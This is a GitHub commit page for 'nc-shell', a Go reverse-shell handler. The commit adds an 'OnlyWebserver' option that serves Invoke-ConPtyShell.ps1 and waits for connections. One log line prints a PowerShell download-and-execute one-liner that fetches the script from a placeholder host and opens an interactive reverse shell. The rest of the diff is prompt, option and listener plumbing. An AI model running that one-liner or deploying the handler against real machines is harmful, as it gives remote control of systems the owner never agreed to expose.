Skip to content

Commit

Permalink
Add new option Onlywebserver to serve the ConPTY script and wait for …
Browse files Browse the repository at this point in the history
…the connection
  • Loading branch information
nodauf committed Apr 1, 2021
1 parent 09eecbf commit 4355378
Show file tree
Hide file tree
Showing 7 changed files with 161 additions and 47 deletions.
25 changes: 22 additions & 3 deletions src/prompt/completer.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,14 +19,25 @@ var commands = []prompt.Suggest{
{Text: "exit", Description: "Exit this program"},
}

// Options subcommand

var optionsSubCommand = []prompt.Suggest{
{Text: "debug", Description: "Manage debug option"},
{Text: "port", Description: "Manage port listener option"},
{Text: "conpty", Description: "Manage conpty option"},
}

var conptySubCommand = []prompt.Suggest{
{Text: "disableconpty", Description: "Disable the use of ConPty, the reverse shell will not be interactive"},
{Text: "onlywebserver", Description: "Will not send the powershell command. A webserver will start to serve Invoke-ConPtyShell.ps1 on every endpoint"},
}

// Help subcommand

var helpSubCommand = []prompt.Suggest{
{Text: "sessions", Description: "Print actives sessions"},
{Text: "sessions", Description: "Help about sessions"},
{Text: "connect", Description: "Help about connect command"},
{Text: "options", Description: "Help about options"},
}

func complete(d prompt.Document) []prompt.Suggest {
Expand All @@ -38,17 +49,25 @@ func complete(d prompt.Document) []prompt.Suggest {
if len(args) <= 1 {
return prompt.FilterHasPrefix(commands, args[0], true)
}
first := args[0]
first := strings.ToLower(args[0])
switch first {
case "help":
second := args[1]
if len(args) == 2 {
return prompt.FilterHasPrefix(helpSubCommand, second, true)
}
case "options":
second := args[1]
second := strings.ToLower(args[1])
if len(args) == 2 {
return prompt.FilterHasPrefix(optionsSubCommand, second, true)
} else if len(args) > 2 {
switch second {
case "conpty":
third := args[2]
if len(args) == 3 {
return prompt.FilterHasPrefix(conptySubCommand, third, true)
}
}
}
}
return []prompt.Suggest{}
Expand Down
8 changes: 8 additions & 0 deletions src/prompt/helper.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,14 @@ func helpConnect() {
fmt.Println(`connect <id>`)
}

func helpOptions() {
fmt.Println(`debug: enable/disable debug output
port: update listener port
conpty
disableconpty: In the case of conpty causing issue on your reverse shell you could disable it but your reverse shell will not be interactive
onlywebserver: if you have already a powershell commande execution you can use this option to serve the ConPty scripts and get your interactive reverse shell`)
}

func help() {
fmt.Println("sessions: Manage route to socks servers")
fmt.Println("connect: Manage route to socks servers")
Expand Down
29 changes: 24 additions & 5 deletions src/prompt/prompt.go
Original file line number Diff line number Diff line change
Expand Up @@ -29,9 +29,10 @@ func executor(in string) {
switch strings.ToLower(second) {
case "sessions":
helpSessions()

case "connect":
helpConnect()
case "options":
helpOptions()
}
} else {
help()
Expand Down Expand Up @@ -64,12 +65,30 @@ func executor(in string) {
} else {
sessions.PrintPortOptions()
}
case "disableconpty":
case "conpty":
if len(command) > 2 {
sessions.SetDisableConPTY(command[2])
} else {
sessions.PrintDisableConPTYOptions()
third := command[2]
switch strings.ToLower(third) {
case "disableconpty":
if len(command) > 3 {
sessions.SetDisableConPTY(command[3])
} else {
sessions.PrintDisableConPTYOptions()
}
case "onlywebserver":
if len(command) > 3 {
sessions.SetOnlyWebserver(command[3])
} else {
sessions.PrintOnlyWebserverOptions()
}
default:
fmt.Println("Invalid conpty command")

}
}
default:
fmt.Println("Invalid options command")

}
} else {
sessions.PrintOptions()
Expand Down
21 changes: 14 additions & 7 deletions src/sessions/privatefunc.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,20 +23,27 @@ func sessionIDExists(idString string) (bool, int) {
func newTerminals() {
for {
term = &terminal.Terminal{}
term.Options.Port = OptionsSession.Port
term.Options.Debug = OptionsSession.Debug
term.Options.DisableConPTY = OptionsSession.DisableConPTY
term.Options = OptionsSession
term.Log = log
err := term.New()
if !term.Options.OnlyWebserver {
err := term.New()
// Exit the function if there is an error
if err != nil {
// Destroy term
term = &terminal.Terminal{}
break
}
term.GetOS()
} else {
term.Log.Debug("Skipping first stage as the option OnlyWebserver is set to true")
}
err := term.PrepareShell()
// Exit the function if there is an error
if err != nil {
// Destroy term
term = &terminal.Terminal{}
break
}

term.GetOS()
term.PrepareShell()
sessionID := lastSessionID + 1
sessions[sessionID] = term
lastSessionID = sessionID
Expand Down
42 changes: 32 additions & 10 deletions src/sessions/sessions.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,22 +2,16 @@ package sessions

import (
"fmt"
"nc-shell/src/terminal"
"os"
"sort"
"strconv"

logging "github.com/op/go-logging"
)

// Options type to manage the terminal's options
type Options struct {
Port int
Debug bool
DisableConPTY bool
}

// OptionsSession contains the option of the futur terminal and the listener
var OptionsSession Options
var OptionsSession terminal.Options

// PrintSessions will list all active sessions
func PrintSessions() {
Expand Down Expand Up @@ -59,7 +53,12 @@ func Start() {

// Stop the listener
func Stop() {
term.Listener.Close()
if term.Listener != nil {
if err := term.Listener.Close(); err != nil {
term.Log.Error("Unable to close the listener " + err.Error())
}
}
term.Listener = nil
}

// Restart the listener
Expand All @@ -72,6 +71,7 @@ func Restart() {
func SetDebug(debugString string) {
if debug, err := strconv.ParseBool(debugString); err == nil {
OptionsSession.Debug = debug
PrintDebugOptions()
Logger()
} else {
log.Error("Debug option " + debugString + " invalid")
Expand All @@ -82,6 +82,7 @@ func SetDebug(debugString string) {
func SetPort(portString string) {
if port, err := strconv.Atoi(portString); err == nil {
OptionsSession.Port = port
PrintPortOptions()
} else {
log.Error("Port option " + portString + " invalid")
}
Expand All @@ -91,11 +92,27 @@ func SetPort(portString string) {
func SetDisableConPTY(disableConPTYString string) {
if disableConPTY, err := strconv.ParseBool(disableConPTYString); err == nil {
OptionsSession.DisableConPTY = disableConPTY
PrintDisableConPTYOptions()
} else {
log.Error("DisableConPTY option " + disableConPTYString + " invalid")
}
}

// SetOnlyWebserver update the option OnlyWebserver
func SetOnlyWebserver(onlyWebserverString string) {
if onlyWebserver, err := strconv.ParseBool(onlyWebserverString); err == nil {
OptionsSession.OnlyWebserver = onlyWebserver
PrintOnlyWebserverOptions()
// If OnlyWebServer is enable we print the oneliner
if onlyWebserver {
log.Info("connect with: powershell IEX(IWR http://yourip:" + strconv.Itoa(OptionsSession.Port) + "/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell yourIP " + strconv.Itoa(OptionsSession.Port))
}
Restart()
} else {
log.Error("OnlyWebserver option " + onlyWebserverString + " invalid")
}
}

// PrintDebugOptions print the value of Debug options
func PrintDebugOptions() {
fmt.Println("Debug => " + strconv.FormatBool(OptionsSession.Debug))
Expand All @@ -108,15 +125,20 @@ func PrintPortOptions() {

// PrintDisableConPTYOptions print the value of DisableConPTY options
func PrintDisableConPTYOptions() {

fmt.Println("DisableConPTY => " + strconv.FormatBool(OptionsSession.DisableConPTY))
}

// PrintDisableConPTYOptions print the value of DisableConPTY options
func PrintOnlyWebserverOptions() {
fmt.Println("OnlyWebserver => " + strconv.FormatBool(OptionsSession.OnlyWebserver))
}

// PrintOptions print the current options for the terminal
func PrintOptions() {
PrintDebugOptions()
PrintPortOptions()
PrintDisableConPTYOptions()
PrintOnlyWebserverOptions()
}

// Logger configure the logger of the application
Expand Down
40 changes: 28 additions & 12 deletions src/terminal/terminal-utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -51,33 +51,49 @@ func (terminal *Terminal) accept() error {

}

func (terminal *Terminal) serveHTTPRevShellPowershell() {

listener, _ := net.Listen("tcp", terminal.Con.LocalAddr().String())
func (terminal *Terminal) serveHTTPRevShellPowershell() error {
var localAddr string
var err error
// If the option OnlyWebserver is set terminal.Con will be nil
if terminal.Con != nil {
localAddr = terminal.Con.LocalAddr().String()
} else {
localAddr = ":" + strconv.Itoa(terminal.Options.Port)
}
terminal.Listener, err = net.Listen("tcp", localAddr)
if err != nil {
terminal.Log.Fatal("Error listening on " + localAddr)
}
var svc = http.Server{
Handler: http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
templateBox, err := rice.FindBox("../static/")
if err != nil {
log.Fatal(err)
terminal.Log.Fatal(err)
}
// get file contents as string
file, _ := templateBox.Open("Invoke-ConPtyShell.ps1")
if err != nil {
log.Fatal(err)
}
file, err := templateBox.Open("Invoke-ConPtyShell.ps1")
if err != nil {
log.Fatal(err)
terminal.Log.Fatal(err)
}
//rice.MustFindBox("./static/Invoke-ConPtyShell.ps1").HTTPBox()
http.ServeContent(rw, r, "Invoke-ConPtyShell.ps1", time.Now(), file)
terminal.Log.Debug("Invoke-ConPtyShell.ps1 have been served")
//http.ServeFile(rw, r, ./static/Invoke-ConPtyShell.ps1)
listener.Close()
terminal.Listener.Close()

}),
}
listener = netutil.LimitListener(listener, int(1))
svc.Serve(listener)
terminal.Listener = netutil.LimitListener(terminal.Listener, int(1))
err = svc.Serve(terminal.Listener)
if err != nil {
if strings.Contains(err.Error(), "use of closed network connection") {
localPort := ":" + strconv.Itoa(terminal.Options.Port)
terminal.Log.Notice("The listener " + localPort + " has been stopped")
} else {
terminal.Log.Error("Error when serving HTTP connection " + err.Error())
}
}
return err

}

Expand Down
43 changes: 33 additions & 10 deletions src/terminal/terminal.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,13 +12,9 @@ import (

// Terminal object
type Terminal struct {
OS string
Con net.Conn
Options struct {
Port int
Debug bool
DisableConPTY bool
}
OS string
Con net.Conn
Options Options
rows string
cols string
spawnTTY string
Expand All @@ -27,6 +23,14 @@ type Terminal struct {
Log *logging.Logger
}

// Options type to manage the terminal's options, also use by the session
type Options struct {
Port int
Debug bool
DisableConPTY bool
OnlyWebserver bool
}

// New will initialize the logging configuration and start the listener and wait for client.
func (terminal *Terminal) New() error {
//terminal.logging()
Expand Down Expand Up @@ -76,7 +80,7 @@ func (terminal *Terminal) GetOS() {
}

// PrepareShell manage the stty raw, spawn the tty for linux and use the ConPTY for windows
func (terminal *Terminal) PrepareShell() {
func (terminal *Terminal) PrepareShell() error {

if terminal.OS == "linux" {
// If the main binary is running on linux
Expand All @@ -90,11 +94,30 @@ func (terminal *Terminal) PrepareShell() {
if !terminal.Options.DisableConPTY {
terminal.interactiveReverseShellWindows()
terminal.Log.Debug("Starting http server on " + terminal.Con.LocalAddr().String())
terminal.serveHTTPRevShellPowershell()
listenAndAcceptConnection(terminal)
err := terminal.serveHTTPRevShellPowershell()
if err != nil {
return err
}

if err := listenAndAcceptConnection(terminal); err != nil {
terminal.Log.Error("Error while listening or accepting a connection " + err.Error())
return err
}
}

} else if terminal.Options.OnlyWebserver {
terminal.Log.Debug("Starting http server on 0.0.0.0")
err := terminal.serveHTTPRevShellPowershell()
if err != nil {
return err
}

if err = listenAndAcceptConnection(terminal); err != nil {
terminal.Log.Error("Error while listening or accepting a connection " + err.Error())
return err
}
}
return nil
//terminal.Connect()
}

Expand Down

0 comments on commit 4355378

Please sign in to comment.